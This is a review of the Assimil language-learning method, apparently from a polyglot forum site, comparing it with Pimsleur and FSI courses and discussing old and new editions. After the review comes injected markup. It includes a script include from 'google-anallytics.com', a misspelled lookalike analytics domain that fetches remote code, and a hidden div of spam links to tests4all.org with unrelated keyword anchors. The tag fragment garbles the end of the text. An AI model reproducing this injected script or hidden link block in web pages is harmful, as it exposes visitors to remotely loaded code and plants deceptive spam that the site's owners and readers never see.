Assimil
www.assimil.com
Assimil is the leading language program publisher in the French speaking world. Being from French-speaking Switzerland, I have been exposed to it from my earliest years. Until very recently, my opinion of the 'Assimil method' was quite poor. After all, the books do not have any drills, the tapes require you to listen and listen to them over and over again, and the books are quite short.
But the programs have a lot for themselves. Not only do they try to teach the grammar through the language and not the language through the grammar, but they are packed with interesting cultural observations on the country and the language you are learning. Each lesson is short and usually easy to grasp, which makes progress slow but painless. The audio lessons (especially in the 'old' Assimil programs) are well-made and a pleasure to listen to many times.
Philosophy and Discipline
Senior polyglots, including some on our forum, have convinced me that you can actually learn a language with Assimil. However, it is quite clear to me that this requires a bit more self-discipline and motivation than a Pimsleur or FSI. The reason is that with Assimil, you are the sole judge of whether a lesson is 'finished' or whether you need to do it again. The audio files are meant to be listened to many times, and the choice of how many times is left to you. That, of course, is the case with every language program. But with Pimsleur or FSI, the course of the lesson is managed by a tape that you listen to. Do this, do that, repeat this. As long as you have the discipline to start the tape and do what you're told, you are on your way to learn the language. Not so with Assimil, where you must make many decisions in the course of the lesson. Shall I repeat this exercise? Shall I listen again to this lesson? Am I done with this grammatical feature? FSI tends to bang on the nail with the substitution drill hammer until it is firmly in place in your head.
I think this is the reason why senior polyglots like Assimil so much and feel FSI and Pimsleur are time wasters. They are so used to language learning and self-discipline that with Assimil they can manage the time devoted to each lesson in the way they know is most efficient for them. Whereas with the 'American programs', they are compelled to follow the slower pace of a lesson designed for all learners, experienced or not.
'Old' vs 'New' Assimil
It seems that Assimil has changed its way of designing its programs. For major languages, the books you can buy now are called 'Le nouveau Russe sans peine' whereas the old one was 'Le Russe sans peine'. The old ones seem to be invariably better but I have not been able to test this claim personally. This topic is being discussed on the forum and I will update this profile when I get more material.'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>gain weight but losing instead</a><a href='http://tests4all.org/2/'>personal chess trainer 2007</a><a href='http://tests4all.org/3/'>free guide to quit smoking</a><a href='http://tests4all.org/4/'>she's the woman in my eyes</a><a href='http://tests4all.org/5/'>cheated on by wife</a><a href='http://tests4all.org/6/'>legal occupations in virginia</a><a href='http://tests4all.org/7/'>ascot business partners regional</a><a href='http://tests4all.org/8/'>iq tests with results</a><a href='http://tests4all.org/9/'>free psychic readings phone</a><a href='http://tests4all.org/10/'>how to do past life readings</a><a href='http://tests4all.org/11/'>date of death search</a><a href='http://tests4all.org/12/'>lung cancer type classifications</a></div> |
